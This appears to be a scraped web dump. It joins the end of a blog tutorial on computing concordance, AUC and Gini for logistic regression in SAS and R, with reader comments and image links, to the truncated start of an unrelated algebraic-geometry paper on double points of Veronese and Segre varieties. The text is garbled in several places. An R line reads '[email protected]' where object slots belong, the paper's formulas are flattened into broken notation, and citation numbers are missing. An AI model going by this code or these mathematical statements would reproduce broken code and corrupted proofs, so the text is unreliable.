HTTP\nURL=\"https://stats.idre.ucla.edu/stat/data/binary.csv\"\nMETHOD=\"GET\"\nOUT=PROBLY;\nRUN;\n\nOPTIONS VALIDVARNAME=ANY;\nPROC IMPORT\nFILE=PROBLY\nOUT=WORK.binary REPLACE\nDBMS=CSV;\nRUN;\n\nods graphics on;\nProc logistic data= WORK.binary descending plots(only)=roc;\nclass rank / param=ref ;\nmodel admit = gre gpa rank;\noutput out = estprob p= pred;\nrun;\n\n/*split the data into two datasets- event and non-event*/\nData event nonevent;\nSet estprob;\nIf admit = 1 then output event;\nelse if admit = 0 then output nonevent;\nrun;\n\n/*Cartesian product of event and non-event actual cases*/\nProc SQL noprint;\ncreate table pairs as\nselect a.admit as admit1, b.admit as admit0,\na.pred as pred1,b.pred as pred0\nfrom event a cross join nonevent b;\nquit;\n\n/*Calculating concordant,discordant and tied percent*/\nData pairs;\nset pairs;\nconcordant =0;\ndiscordant=0;\ntied=0;\nIf pred1 > pred0 then concordant = 1;\nelse If pred1 < pred0 then discordant = 1;\nelse tied = 1;\nrun;\n\n/*Mean values - Final Result*/\nproc sql;\nselect mean(Concordant)*100 as Percent_Concordant,\nmean(Discordant) *100 as Percent_Discordant,\nmean(Tied)*100 as Percent_Tied,\n(calculated Percent_Concordant + 0.5* calculated Percent_Tied)/100 as AUC,\n2*calculated AUC - 1 as somers_d\nfrom pairs;\nquit;\n```\n###### R Code\n```# Read Data\ndf = read.csv(\"https://stats.idre.ucla.edu/stat/data/binary.csv\")\n\n# Factor Variables\ndf\\$admit = as.factor(df\\$admit)\ndf\\$rank = as.factor(df\\$rank)\n\n# Logistic Model\ndf\\$rank <- relevel(df\\$rank, ref='4')\nmylogistic <- glm(admit ~ ., data = df, family = \"binomial\")\nsummary(mylogistic)\\$coefficient\n\n# Predict\npred = predict(mylogistic, type = \"response\")\nfinaldata = cbind(df, pred)\n\nAUC <- function (actuals, predictedScores){\nfitted <- data.frame (Actuals=actuals, PredictedScores=predictedScores)\ncolnames(fitted) <- c('Actuals','PredictedScores')\nones <- fitted[fitted\\$Actuals==1, ] # Subset ones\nzeros <- fitted[fitted\\$Actuals==0, ] # Subsetzeros\ntotalPairs <- nrow (ones) * nrow (zeros) # calculate total number of pairs to check\nconc <- sum (c(vapply(ones\\$PredictedScores, function(x) {((x > zeros\\$PredictedScores))}, FUN.VALUE=logical(nrow(zeros)))), na.rm=T)\ndisc <- sum(c(vapply(ones\\$PredictedScores, function(x) {((x < zeros\\$PredictedScores))}, FUN.VALUE = logical(nrow(zeros)))), na.rm = T)\nconcordance <- conc/totalPairs\ndiscordance <- disc/totalPairs\ntiesPercent <- (1-concordance-discordance)\nAUC = concordance + 0.5*tiesPercent\nGini = 2*AUC - 1\nreturn(list(\"Concordance\"=concordance, \"Discordance\"=discordance,\n\"Tied\"=tiesPercent, \"AUC\"=AUC, \"Gini or Somers D\"=Gini))\n}\n\nAUC(finaldata\\$admit, finaldata\\$pred)\n```", null, "Result\n\n## Using Integration to calculate ROC, Gini\n\nTrapezoidal Rule Numerical Integration method is used to find area under curve. The area of a trapezoid is\n( xi+1 – xi ) * ( yi + yi+1 ) / 2\nIn our case, x refers to values of false positive rate (1-Specificity) at different probability cut-offs, y refers to true positive rate (Sensitivity) at different cut-offs. Vector x needs to be sorted. Any observation with predicted probability that exceeds or equals probability cut-off is predicted to be an event; otherwise, it is predicted to be a nonevent.\n( fpri+1 – fpri ) * ( tpri + tpri+1 ) / 2\n`fpr` represents false positive rate (1- specificity). `tpr` represents true positive rate (sensitivity). See the image below showing step by step calculation. It includes a very few cut-offs for demonstration purpose.", null, "Integration Calculation\n\n###### SAS Code\nIn the SAS program below, we are using `PROC IML` procedure to perform integration calculations.\n```FILENAME PROBLY TEMP;\nPROC HTTP\nURL=\"https://stats.idre.ucla.edu/stat/data/binary.csv\"\nMETHOD=\"GET\"\nOUT=PROBLY;\nRUN;\n\nOPTIONS VALIDVARNAME=ANY;\nPROC IMPORT\nFILE=PROBLY\nOUT=WORK.binary REPLACE\nDBMS=CSV;\nRUN;\n\nods graphics on;\nProc logistic data= WORK.binary descending plots(only)=roc;\nclass rank / param=ref ;\nmodel admit = gre gpa rank / outroc=performance;\noutput out = estprob p= pred;\nrun;\n\nproc sort data=performance;\nby _1MSPEC_;\nrun;\n\nproc iml;\nuse performance;\nread all var {_SENSIT_} into sensitivity;\nread all var {_1MSPEC_} into falseposrate;\nN = 2 : nrow(falseposrate);\nfpr = falseposrate[N] - falseposrate[N-1];\ntpr = sensitivity[N] + sensitivity[N-1];\nROC = fpr`*tpr/2;\nGini= 2*ROC - 1;\nprint ROC Gini;\n```\n###### R Code\n```# Read Data\ndf = read.csv(\"https://stats.idre.ucla.edu/stat/data/binary.csv\")\n\n# Factor Variables\ndf\\$admit = as.factor(df\\$admit)\ndf\\$rank = as.factor(df\\$rank)\n\n# Logistic Model\ndf\\$rank <- relevel(df\\$rank, ref='4')\nmylogistic <- glm(admit ~ ., data = df, family = \"binomial\")\nsummary(mylogistic)\\$coefficient\n\n# Predict\npred = predict(mylogistic, type = \"response\")\nfinaldata = cbind(df, pred)\n\nlibrary(ROCR)\npredobj <- prediction(finaldata\\$pred, finaldata\\$admit)\nperf <- performance(predobj,\"tpr\",\"fpr\")\nplot(perf)\n\n# Trapezoidal rule of integration\n# Computes the integral of Sensitivity (Y) with respect to FalsePosRate (x)\nx = [email protected][]\ny = [email protected][]\nidx = 2:length(x)\ntestdf=data.frame(FalsePosRate = (x[idx] - x[idx-1]), Sensitivity = (y[idx] + y[idx-1]))\n(AUROC = sum(testdf\\$FalsePosRate * testdf\\$Sensitivity)/2)\n```", null, "Related Posts\nAbout Author:", null, "Deepanshu founded ListenData with a simple objective - Make analytics easy to understand and follow. He has over 8 years of experience in data science. During his tenure, he has worked with global clients in various domains like Banking, Insurance, Telecom and Human Resource.\n\n18 Responses to \"How to calculate Area Under Curve and Concordant\"\n1.", null, "Very precise and clear explanation of concordance and discordance. Also the code helps in better understanding of the phenomenon. Thanks.\n\n1.", null, "Thank you for your appreciation. Cheers!\n\n2.", null, "Neat explanations, really helpful to understood these definitions. Thanks!\n\n3.", null, "Very clear explanation, thank you :)\n\n4.", null, "Thanks for the post! Shouldn't it be proc logistic with descending option? as we are treating 1s as events and 0 as nonevents\n\n1.", null, "Corrected! Thanks for pointing it out.\n\n5.", null, "First time I understood concordance and discordance. Thanks\n\n6.", null, "For a good model what should be the concordance?\n\n1.", null, "Concordance Percent should be 80 or above.\n\n7.", null, "Very good explanation\n\n8.", null, "Very informative, clear, and to the point\n\n9.", null, "Very good explanation and informative. Thanks Buddy keep sharing\n\n10.", null, "Can you please give the calculation of concordance and disconcordance in excel format with example which will be easy to understand the calculation.\n\n11.", null, "The above codes are very useful. Any suggestions for weighted data?\n\n12.", null, "Hello, I want to know, what to do in cases where tied percentage is high, say 20%. How to reduce tied percentage?\n\n13.", null, "Excellent Work. Thanks for such detailed description.\n\n14.", null, "Not as clear as needed\n\n15.", null, "Next → ← Prev\nLove this Post? Spread the Word!\nShare" ]

[ null, "https://4.bp.blogspot.com/-MJ3956xEggY/WLMKC5L3G3I/AAAAAAAAF6w/ktmHpRpj0zooJqn5FNQxrS6ExUeU5ZlNgCLcB/s1600/Concordance.png", null, "https://2.bp.blogspot.com/-jxahDxn7uqk/XOLdlR1EOlI/AAAAAAAAHjQ/opxB1AyxhXkbP6XoXailoC89SnAp8z1XwCLcBGAs/s1600/roc_curve.png", null, "https://3.bp.blogspot.com/-EKoVAeC1LO0/XOLzCoOuf4I/AAAAAAAAHjc/6-9jOK2p4JQVJO3ZDsaJF9oZ8GK61TBGwCLcBGAs/s1600/logistic_result.PNG", null, "https://1.bp.blogspot.com/-J6J7vNf_UKk/XOMqe-1EFPI/AAAAAAAAHj0/xyXyMnmBFT4UwHDmFlLag8qgJKdxWH44ACLcBGAs/s1600/integral_steps.png", null, "https://3.bp.blogspot.com/-2Wo3BMlnbkQ/XNhsyip6vxI/AAAAAAAAHi4/V4KiHKF9Bb0mObnxgu0EqwjtFSWWkBVjwCK4BGAYYCw/s1600/listendata-logo.png", null, "https://2.bp.blogspot.com/-CjZLtyL5ry4/WT2zK9YSJeI/AAAAAAAAGXY/Is57CkOwroU68EkAydbGgEdhHfP4ZpKqQCLcB/s1600/author_tn.jpg", null, "https://lh6.googleusercontent.com/-m24XWy9U__w/AAAAAAAAAAI/AAAAAAAAAAA/SlXMfYrQ4oU/s35-c/photo.jpg", null, "https://lh3.googleusercontent.com/-m-IN-WRLAdU/AAAAAAAAAAI/AAAAAAAAAiI/QRflhcjSKTk/s35-c/photo.jpg", null, "https://resources.blogblog.com/img/blank.gif", null, "https://4.bp.blogspot.com/_Ct_8_M4YRC4/SapCWWWOAmI/AAAAAAAAAAU/GWtu-YoUFAI/S45-s35/evi.jpg", null, "https://resources.blogblog.com/img/blank.gif", null, "https://lh3.googleusercontent.com/-m-IN-WRLAdU/AAAAAAAAAAI/AAAAAAAAAiI/QRflhcjSKTk/s35-c/photo.jpg", null, "https://lh3.googleusercontent.com/-7OMdgcdfguI/AAAAAAAAAAI/AAAAAAAAA0k/DvdqkvExuXs/s35-c/photo.jpg", null, "https://lh3.googleusercontent.com/-7OMdgcdfguI/AAAAAAAAAAI/AAAAAAAAA0k/DvdqkvExuXs/s35-c/photo.jpg", null, "https://lh3.googleusercontent.com/-m-IN-WRLAdU/AAAAAAAAAAI/AAAAAAAAAiI/QRflhcjSKTk/s35-c/photo.jpg", null, "https://lh3.googleusercontent.com/zFdxGE77vvD2w5xHy6jkVuElKv-U9_9qLkRYK8OnbDeJPtjSZ82UPq5w6hJ-SA=s35", null, "https://resources.blogblog.com/img/blank.gif", null, "https://resources.blogblog.com/img/blank.gif", null, "https://resources.blogblog.com/img/blank.gif", null, "https://resources.blogblog.com/img/blank.gif", null, "https://lh3.googleusercontent.com/zFdxGE77vvD2w5xHy6jkVuElKv-U9_9qLkRYK8OnbDeJPtjSZ82UPq5w6hJ-SA=s35", null, "https://lh3.googleusercontent.com/-MgIEEkQ_58I/AAAAAAAAAAI/AAAAAAAAAE8/qKIlVHnEIwY/s35-c/photo.jpg", null, "https://lh3.googleusercontent.com/zFdxGE77vvD2w5xHy6jkVuElKv-U9_9qLkRYK8OnbDeJPtjSZ82UPq5w6hJ-SA=s35", null, "https://lh3.googleusercontent.com/zFdxGE77vvD2w5xHy6jkVuElKv-U9_9qLkRYK8OnbDeJPtjSZ82UPq5w6hJ-SA=s35", null ]

[ "Next Article in Journal\nMatching BiHom-Rota-Baxter Algebras and Related Structures\nNext Article in Special Issue\nIncremental Nonnegative Tucker Decomposition with Block-Coordinate Descent and Recursive Approaches\nPrevious Article in Journal\nSymmetry of Syzygies of a System of Functional Equations Defining a Ring Homomorphism\nPrevious Article in Special Issue", null, "Font Type:\nArial Georgia Verdana\nFont Size:\nAa Aa Aa\nLine Spacing:\nColumn Width:\nBackground:\nArticle\n\n# Base Point Freeness, Uniqueness of Decompositions and Double Points for Veronese and Segre Varieties\n\nby\nDepartment of Mathematics, University of Trento, 38123 Trento, TN, Italy\nSymmetry 2021, 13(12), 2344; https://doi.org/10.3390/sym13122344\nReceived: 12 November 2021 / Revised: 29 November 2021 / Accepted: 1 December 2021 / Published: 6 December 2021\n\n## Abstract\n\n:\nWe prove a base point freeness result for linear systems of forms vanishing at general double points of the projective plane. For tensors we study the uniqueness problem for the representation of a tensor as a sum of terms corresponding to points and tangent vectors of the Segre variety associated with the format of the tensor. We give complete results for unions of one point and one tangent vector.\n\n## 1. Introduction\n\nLet $X ⊂ P r$ be an integral and non-degenerate n-dimensional variety.\nTo recall the classical notion of abstract secant variety, its map to $P r$ and its differential (computed in geometric term by A. Terracini) we use the following notation.\nFor any closed subscheme $Z ⊂ P r$ let $〈 Z 〉$ denote its linear span. Let $X reg$ denote the set of all smooth points of X. For any $o ∈ X reg$ let $( 2 o , X )$ (or just $2 o$) denote the closed subscheme of X with $( I o ) 2$ as its ideal sheaf. The scheme $2 o$ is a zero-dimensional scheme $( 2 o ) red = { o }$ and $deg ( 2 o ) = n + 1$. Moreover, $〈 2 o 〉$ is the Zariski tangent space of X at o. For all finite subsets $S ⊂ X reg$ set $2 S : = ∪ o ∈ S 2 o$.\nFix a positive integer $s < r$. Let $S ( X reg , s ) ′$ denote the set of all $S ⊂ X reg$ such that $# S = s$ and S is linearly independent. The set $S ( X reg , s ) ′$ is a smooth quasi-projective variety and its closure $H ( X , s )$ in the Hilbert scheme of X is an integral projective variety, singular if $n > 2$. Let $Σ s 0 ( X reg )$ denote the set of all pairs $( S , q ) ∈ S ( X reg , s ) ′ × P r$ such that $q ∈ 〈 S 〉$ and $q ∉ 〈 S ′ 〉$ for all $S ′ ⊊ S$. The set $Σ s 0 ( X reg )$ is a smooth quasi-projective variety. The closure $Σ s ( X )$ of $Σ s 0 ( X reg )$ in $H ( X , s ) × P r$ is a closed and irreducible projective variety, often called the abstract s-secant variety of X. Call $π ˜ : Σ s ( X ) → P r$ the morphism induced by the projection $H ( X , s ) × P r → P r$. The irreducible variety $σ s ( X ) : = π ˜ ( Σ s ( X ) )$ is the s-secant variety of X, i.e., the closure in $P r$ of the union of all linear spaces $〈 S 〉$ for some subset of X with cardinality s. However, since $Σ s ( X )$ is usually very singular (even for nice X) we consider the differential of $π ˜$ only at the points of $Σ s 0 ( X reg )$. Set $π : = π ˜ | Σ s 0 ( X reg )$. Fix $( S , q ) ∈ Σ s 0 ( X reg )$. A. Terracini proved that the image of the differential $d π$ of $π$ at $( S , q )$ does not depend on q: it is the linear span of all tangent spaces $T o X$, $o ∈ S$, i.e., it is $〈 2 S 〉$ (, Cor. 1.11). Since Alessandro Terracini’s classical papers the study of the differential of $π$ gave (for very good reasons: the results were both nice and useful) several papers, most of them for the case S general in X so that the rank of $d π$ is the integer $dim σ s ( X )$. Some recent papers also considered the case in which S is not general ([2,3]). Here we consider both cases, S general and S very specific. An arrow of $X reg$ is a connected degree 2 scheme $v ⊂ X reg$. Since v is assumed to be connected, its reduction $v red$ is a point, $o ∈ X reg$. The Zariski tangent space $T o X$ of X is the union of all arrows of X. Thus, the linear span $〈 2 S 〉$ has the expected dimension if and only if all unions of s arrows, each of them with as its support a different point of S, are linearly independent. This observation due to K. Chandler ([4,5,6]) had many applications ([6,7,8]). A union of points and arrows may also be used to describe tensors and homogeneous polynomials. For instance in the additive decomposition of degree d forms an arrow corresponds to a term in the sum of the form $ℓ d − 1 μ$, where and $μ$ are non-proportional linear forms, while a point corresponds to an addendum $ℓ d$, $ℓ ≠ 0$.\nWe consider a general S for the Veronese embeddings $X n , d$ of $P n$, but we ask if $〈 2 S 〉 ∩ X n , d$ is scheme-theoretically the scheme $2 S$ or not. This is tricky and we discuss in more details why it is tricky in Section 4. For all positive integers n and d let $t ( n , d )$ (resp. $t 1 ( n , d )$) be the maximal integer $x > 0$ such that $h 1 ( I Z ( d ) ) = 0$ and $I Z ( d )$ is globally generated (resp. $h 1 ( I Z ( d ) ) = 0$ and $I Z ( d )$ has no base points outside $Z red$), where Z is a general union of x double points of $P n$. These integers may be expressed with the geometric language used for the additive decomposition of degree d forms in the following way. Let $ν d : P n → P r$, $r = n + d n − 1$, denote the order d Veronese embedding of $P n$, i.e., the embedding given evaluating all degree d forms in $n + 1$ variables. Set $X n , d : = ν d ( P n )$. The integer $t ( n , s )$ is the maximal integer $x > 0$ such that $dim 〈 2 S 〉 = x ( n + 1 ) − 1$ and $X n , d ∩ 〈 2 S 〉 = 2 S$ scheme-theoretically.\nWe prove the following result.\nTheorem 1.\nFix integers $d ≥ 5$ and z such that $0 ≤ 3 z ≤ d + 2 2 − 5$. Let $E ⊂ P 2$ be a general union of z double points. Then $h 1 ( I E ( d ) ) = 0$ and $I E ( d )$ is globally generated.\nThe vanishing of $h 1 ( I E ( d ) )$ is well-known, but it is put in the statement because for a non-general E (call if F) it is easy to obtain $I F ( d )$ globally generated for some F such that $h 0 ( I F ( d ) ) > h 0 ( I E ( d ) )$. To prove Theorem 1 we use a degeneration of several planar double points ().\nA natural question is the extension of Theorem 2 to the case $n > 2$. We ask also for the proof of similar results for tensors of certain formats and certain tensor ranks and for the case of partially symmetric tensors.\nIn Section 5 we consider the following uniqueness problem for tensors. For which formats there is a concise tensor which can be irredundantly determined by the union of a point and an arrow for more than one union of a point and an arrow? Propositions 1 and 2 and Theorem 3 give the list of the exceptional cases.\nThe last section is speculative. Suppose that at a certain $( S , q )$ the differential of the Terracini map has a kernel. Is there a condition (using higher derivatives) which says if the fiber of $π$ at $( S , q )$ is positive-dimensional?\nUnless otherwise stated we work over an algebraically closed field $K$ of characteristic 0.\n\n## 2. Preliminaries\n\nLet X be an integral projective variety. Let $D ⊂ X$ be an effective Cartier divisor of X and Z a zero-dimensional closed subscheme of X. The residual scheme $Res D ( Z )$ of Z is the closed subscheme of X with $I Z$:$I D$ as its ideal sheaf. We have $deg ( Z ) = deg ( Z ∩ D ) + deg ( Res D ( Z ) )$. For every line bundle $L$ on X the following sequence\n$0 → I Res D ( Z ) ⊗ L ( − D ) → I Z ⊗ L → I Z ∩ D , D ⊗ L | D → 0$\nis exact. We will say that (1) is the residual exact sequence of D (without mentioning Z and $L$). Take $o ∈ X reg ∩ D reg$. We have $( 2 o , X ) ∩ D = ( 2 o , D )$ and $Res D ( ( 2 o , X ) ) = { o }$. Let $v ⊂ X$ be an arrow such that $v red = { o }$. If $v ⊂ D$, then $Res D ( v ) = ∅$. If $v ⊈ D$, then $V ∩ D = { o }$ (as schemes) and $Res D ( v ) = { o }$. If $H ⊂ X$ is an effective Cartier divisor, then $Res H ( Res D ( Z ) ) = Res H + D ( Z )$, where $H + D$ denote the sum as effective divisors.\nLet $X ⊂ P r$ be an integral and non-degenerate variety. For any $q ∈ P r$ the X-rank$r X ( q )$ of q is the minimal cardinality of a finite subset of X whose linear span contains q.\nFix a quasi-projective variety T of dimension at least 2 and $o ∈ T reg$. Let $v , w ⊂ T$ be arrows such that $v ≠ w$ and $v red = w reg = { o }$. The scheme $v ∪ w$ is called a planar double point or a planar double point of T. The next remark explains the properties of planar double points.\nRemark 1.\nFix a quasi-projective variety T of dimension at least 2 and $o ∈ T reg$. Let $v , w ⊂ T$ be arrows such that $v ≠ w$ and $v red = w reg = { o }$. Set $Z : = v ∪ w$. We have $deg ( Z ) = 3$ and $Z red = 1$. There are $∞ 1$ arrows $z ⊂ T$ such that $z red = { o }$ and $z ⊂ Z$. Moreover, if $z ≠ v$, then $Z = v ∪ z$. The Zariski tangent space of Z at o has dimension 2 and there is a quasi-projective variety $M ⊆ T$ such that $dim M = 2$, $o ∈ M reg$ and $Z ⊂ M$. If $dim T = 2$, then we take $M = T$, but if $dim T > 2$ there are infinitely many quasi-projective varieties $M ⊆ T$ such that $dim M = 2$, $o ∈ M reg$ and $Z ⊂ M$. Fix any such M. The scheme Z is the closed subscheme of M with $( I o , M ) 2$ as its ideal sheaf. If T is embedded in a projective space, then Z spans a plane.\n\n## 3. Veronese Varieties\n\nIn this section, we prove Theorem 2. In Section 4 we discuss why it does not follow from known results on weak nondefectivity and tangenential nondefectivity ([10,11,12,13]).\nObviously $t ( 1 , d ) = t 1 ( n , d ) = ⌈ d / 2 ⌉$ for all $d ≥ 1$.\nFor all positive integers n and d let $α ( n , d )$ denote the maximal cardinality of a finite set $S ⊂ P n$ such that $h 1 ( I 2 S ( d ) ) = 0$. Obviously $α ( 1 , d ) = ⌈ d / 2 ⌉$ and $α ( n , 1 ) = 1$. Since the singular locus of a quadric hypersurface is a linear space, $α ( n , 2 ) = 1$. A key theorem due to Alexander and Hirschowitz ([14,15,16,17]) computes $α ( n , d )$ for all $n , d$ and says that $α ( n , d ) = ⌊ n + d n / ( n + 1 ) ⌋$ for all $d ≥ 3$, unless $( n , d ) ∈ { ( 2 , 4 ) , ( 3 , 4 ) , ( 4 , 3 ) , ( 4 , 4 ) }$. Moreover, $α ( 2 , 4 ) = 4$, $α ( 3 , 4 ) = 8$, $α ( 4 , 3 ) = 6$ and $α ( 4 , 4 ) = 13$.\nRemark 2.\nObviously $t ( n , d ) ≤ t 1 ( n , d ) ≤ α ( n , d )$. Please note that $t 1 ( n , d ) ≤ α ( n , d ) − 1$ if $n ≥ 2$ (and hence $I 2 S ( d )$ is not the trivial line bundle) and $n + d n − ( n + 1 ) α ( n , d ) ≤ n$ for all $n ≥ 2$ and $d ≥ 3$, except in the 4 exceptional cases $( n , d ) ∈ { ( 2 , 4 ) , ( 3 , 4 ) , ( 4 , 3 ) , ( 4 , 4 ) }$.\nRemark 3.\nLet $S ⊂ P n$ be a general subset such that $# S = α ( n , d − 1 )$. The Castelnuovo–Mumford lemma gives that $I 2 S ( d )$ is spanned and that $h 1 ( I 2 S ( d ) ) = 0$. Thus, $t ( n , d ) ≥ α ( n , d − 1 )$.\nRemark 4.\nSince any 2 points of a projective space are collinear, $t ( n , 3 ) = t 1 ( n , 3 ) = 1$. Take $n = 2$ and $d = 4$. Since 4 general points of $P 2$ are the complete intersection of 2 conics and $α ( 2 , 4 ) = 4$, we have $t ( 2 , 4 ) = t 1 ( 2 , 4 ) = 4$. Thus, in a few cases the upper bound in Remark 3 is sharp.\nLemma 1.\n$t ( 2 , 5 ) = t 1 ( 2 , 5 ) = 6$.\nProof.\nSince $α ( 2 , 5 ) = 7$ and $3 · 7 = 7 2$, $t 1 ( 2 , 5 ) ≤ 6$. Thus, it is sufficient to prove that $t ( 2 , 5 ) ≥ 6$. Fix a smooth cubic $D ⊂ P 2$ and take $S 1 ⊂ D$ such that $# S 1 = 5$. Take $o ∈ P 2 ∖ D$ such that o is not contained in any line spanned by 2 of the points of $S 1$. We need to prove that $I 2 S ( 5 )$ has no base points outside S and that $h 1 ( I 2 S ( 5 ) ) = 0$. We have $Res D ( 2 S ) = 2 o ∪ S 1$. Since $O P 2 ( 1 )$ is very ample, the residual exact sequence of D shows that $I S 1 ∪ 2 o ( 3 )$ has no base locus outside $D ∪ { o }$. Thus, it is sufficient to use that $D ≅ P 1$ is projectively normal and that $O D ( 5 ) ( − 2 ( 2 S 1 , D ) ) ≅ O D$. □\nTo prove Theorem 1 we prove the following result.\nTheorem 2.\nFix integers $d ≥ 5$ and z such that $0 ≤ 3 z ≤ d + 2 2 − 4$. Then there is a connected zero-dimensional scheme $Z ⊂ P 2$ such that Z is a flat limit of a family of z pairwise disjoint double points, $h 1 ( I Z ( d ) ) = 0$ and $| I Z ( d ) |$ has no base points outside $Z red$.\nLemma 2.\nLet $C ⊂ P 2$ be a smooth curve. Fix $o ∈ C$ and positive integers $z , w$ such that $3 z / 2 < w ≤ 2 z$. Then there is a zero-dimensional scheme $Z ⊂ P 2$ such that $Z red = { o }$, $deg ( Z ) = 3 z$, Z is a flat limit of a family of unions of z pairwise disjoint double points, $Z ⊂ 2 C$ and $deg ( Z ∩ C ) = w$.\nProof.\nIf $w = 2 z$ we use (, Proposition 5.1.2), which corresponds in the set-up of to the front collision, which just adds the escaliers of the z double points. Assume $3 z / 2 < w < 2 z$ and set $e : = 2 z − w$. Please note that $w = 2 ( z − e ) + e$. We take a specialization Z of a family of general unions $A = B ∪ E$ with B a general unions of $z − e$ double points of $P 2$ with as reduction general points of C and E a general union of e double points of $P 2$. Then we apply e times (each time to a different connected component of E) (, §5.2) with the escalier $( 2 , 1 )$ of a double point of $P 2$. □\nProof of Theorem 2:\nLet t be the maximal positive integer such that $t ≤ d$ and $d + 2 2 − d − t + 2 2 − 2 ≤ 2 z$.\nClaim 1:\n$t > d / 2$.\nProof of Claim 1:\nAssume $t ≤ d / 2$. Since t is maximal, $d + 2 2 − d / 2 + 1 2 ≤ 2 z − 1$, i.e., $( 3 d 2 + 10 d + 4 ) / 8 ≤ 2 z − 1$, i.e., $16 z ≥ 3 d 2 + 10 d + 12$. We have $3 z ≤ d + 2 2 − 4$, i.e., $6 z ≤ d 2 + 3 d − 6$, contradicting the assumption $d ≥ 5$.\nFix a general $C ∈ | O P 2 ( t ) |$. Thus, C is smooth and $h 0 ( O C ( d ) ) = d + 2 2 − d − t + 2 2$. Set $w : = d + 2 2 − d − t + 2 2 − 2$. By Lemma 2 there is a connected zero-dimensional scheme $Z ⊂ P 2$ such that $Z ⊂ 2 C$ and $deg ( Z ∩ C ) = w$. Thus, $Res C ( Z )$ is a general connected zero-dimensional subscheme of C of degree $3 z − w$. By $h 1 ( C , I Z ∩ C , C ( d ) ) = 0$ and $h 1 ( C , I Res C ( Z ) ( t ) ) = 0$. Since $h 1 ( C , I Res C ( Z ) ( t ) ) = 0$ and C is projectively normal, $h 1 ( I Res C ( Z ) ( t ) ) = 0$. The residual exact sequence of C gives $h 1 ( I Z ( d ) ) = 0$ and that the restriction map $ρ : H 0 ( I Z ( d ) ) → H 0 ( C , I C ∩ Z , C ( d ) )$ is surjective. Call W the scheme-theoretic base locus of $| I Z ( d ) |$. Since C is a smooth curve and $Z ∩ C$ is a general connected degree w subscheme of C,20] gives that no point of $C ∖ C ∩ Z$ is a base point of $H 0 ( C , I C ∩ Z , C ( d ) )$. The surjectivity of $ρ$ gives that no point of $C ∖ Z red$ is a base point of $H 0 ( I Z ( d ) )$. Since a general osculating space of a curve is not hyperosculating and $ρ$ is surjective, we obtain $C ∩ W = C ∩ Z$ as schemes. Since $t > d / 2$, $H 0 ( O P 2 ( d − t ) ) ≅ H 0 ( O C ( d − t ) )$. Since $Res C ( Z )$ is a general connected degree $3 z − w$ subscheme of the smooth curve C and $h 0 ( O C ( d − t ) ) ≥ 3 z − w + 2$,20] gives $W ∩ 2 C = Z$. Thus, $I Z ( t )$ has no base point outside C. Since no point of $C ∖ Z red$ is a base point of $H 0 ( I Z ( d ) )$, no $a ∈ P 2 ∖ Z red$ is a base point of $| I Z ( d ) |$. □\nProof of Theorem 1:\nBeing globally generated is an open condition in families of coherent sheaves with constant cohomology. Thus, it is sufficient to prove that if $3 z ≠ d + 2 2 − 4$ the scheme Z constructed in the proof of Theorem 2 is globally generated. Let $I W ( d ) ⊆ I Z ( d )$ be the image of the evaluation map $H 0 ( I Z ( d ) ) ⊗ O P 2 → I Z ( d )$. Since $W ⊇ Z$, to conclude the proof it is sufficient to prove that $W ⊆ Z$. Since $| I Z ( d ) |$ has no base points outside $Z red$, W is a connected zero-dimensional scheme. Take C, t and w as in the proof of Theorem 2. We saw that $W ∩ C = Z ∩ C$. Since $deg ( Z ) ≤ d + 2 2 − 4$, $deg ( Res C ( Z ) ) ≤ h 0 ( O C ( d − t ) ) − 2$. Please note that $Res C ( Z )$ is a general connected zero-dimensional scheme of degree $3 z − w ≤ h 0 ( O C ( d − ⌈ d / 2 ⌉ ) ) − 2$. Hence $H 0 ( C , I Res C ( Z ) ( d − ⌈ d / 2 ⌉ ) )$ has no base points (; note that in “curve” means “smooth curve”). Consider the residual exact sequence\n$0 → I Res C ( Z ) ( d − t ) → I Z ( d ) → I Z ∩ C , C ( d ) → 0$\nWe saw that $h 1 ( I Res C ( Z ) ( d − t ) ) = h 1 ( C , I Z ∩ C , C ( d ) ) = 0$ and that $I Res C ( Z ) ( d − t )$ and $I Z ∩ C , C ( d )$ are globally generated. Thus, $I Z ( d )$ is globally generated. □\n\n## 4. Base Point Freeness\n\nIn this section, we point out why it is still open, even for generic symmetric rank, although very similar statements are true, stated and proved in the literature ([10,11,12,13]).\nAssume characteristic zero.\nLet $X ⊂ P r$ be an integral and non-degenerate variety. Set $n : = dim X$ and fix an integer $s > 0$ such that $s ( n + 1 ) ≤ r$ and $dim σ s ( X ) = s ( n + 1 ) − 1$, i.e., X is not secant s-defectivity. Fix a general $S ⊂ X reg$ such that $# S = s$ and set $Z : = ∪ o ∈ S 2 o$. Since $dim σ s ( X ) = s ( n + 1 ) − 1$, $L : = 〈 Z 〉$ has dimension $s ( n + 1 ) − 1$. Take a general hyperplane $H ⊂ P r$ containing Z. There are key notions due to C. Ciliberto and L. Chiantini (weak nondefectivity and tangential nondefectivity) ([10,11,12]) which when they are satisfies imply that H is tangent to $X reg$ only at the points of S. This true statement does not imply that $L$ meets $X reg$ only at S and the linear spaces contained in X and containing at least one point of S, even when $L$ has codimension $≥ n + 1$. It would seem intuitively true, but it is only conjectural for curves and false in some cases for higher-dimensional smooth manifolds ().\nWe say that Assumption 1 holds if the following conjectural statement is true:\nAssumption 1.\nAssume $char ( K ) = 0$. Let $X ⊂ P r$, $r ≥ 3$, be any integral and non-degenerate curve. For a general $p ∈ X reg$ the tangent line $T p X$ of X at p meets X only at p.\nAn assumption similar to Assumption 1 trivially fail for all X such that $dim X > 1$ and X is covered by lines. However, an example due to M. Ohno shows that it may fail even for smooth manifolds of general type . See [22,23] for many partial solutions and applications of Assumption 1. Thus, we cannot freely extend to general unions of double points the following observation concerning general finite sets.\nRemark 5.\nLet $X ⊊ P r$ be an integral and non-degenerate variety. Set $n : = dim X$. Let $S ⊂ X$ be a general set such that $# S = r − n$. In characteristic 0 an easy application of the linear general position of a general codimension n linear section gives $S = X ∩ 〈 S 〉$ (scheme-theoretic intersection).\nFor any $o ∈ X reg$ and all positive integer m let $m o$ denote the closed subscheme of $X reg$ with $( I o ) m$ as its ideal sheaf. The linear space $O m ( X ) o : = 〈 ( m + 1 ) o 〉$ is the m-osculating linear space of X at o. Motivated by we consider the following Condition (Assumption 2):\nAssumption 2.\nAssume $char ( K ) = 0$. Fix integers $r ≥ m + 2 ≥ 3$. Let $X ⊂ P r$ be any integral and non-degenerate curve. For a general $p ∈ X reg$ the m osculating space $O m ( X ) p$ of X at p meets X only at p and the support of the union of the point and the arrow. Usually, this support is a very small part of the Segre variety.\nWe are working over an algebraically closed field of characteristic zero, because Assumption 1 fails in positive characteristic even for some smooth curves (, Example 4.1). In characteristic 0 Assumptions 1 and 2 holds for 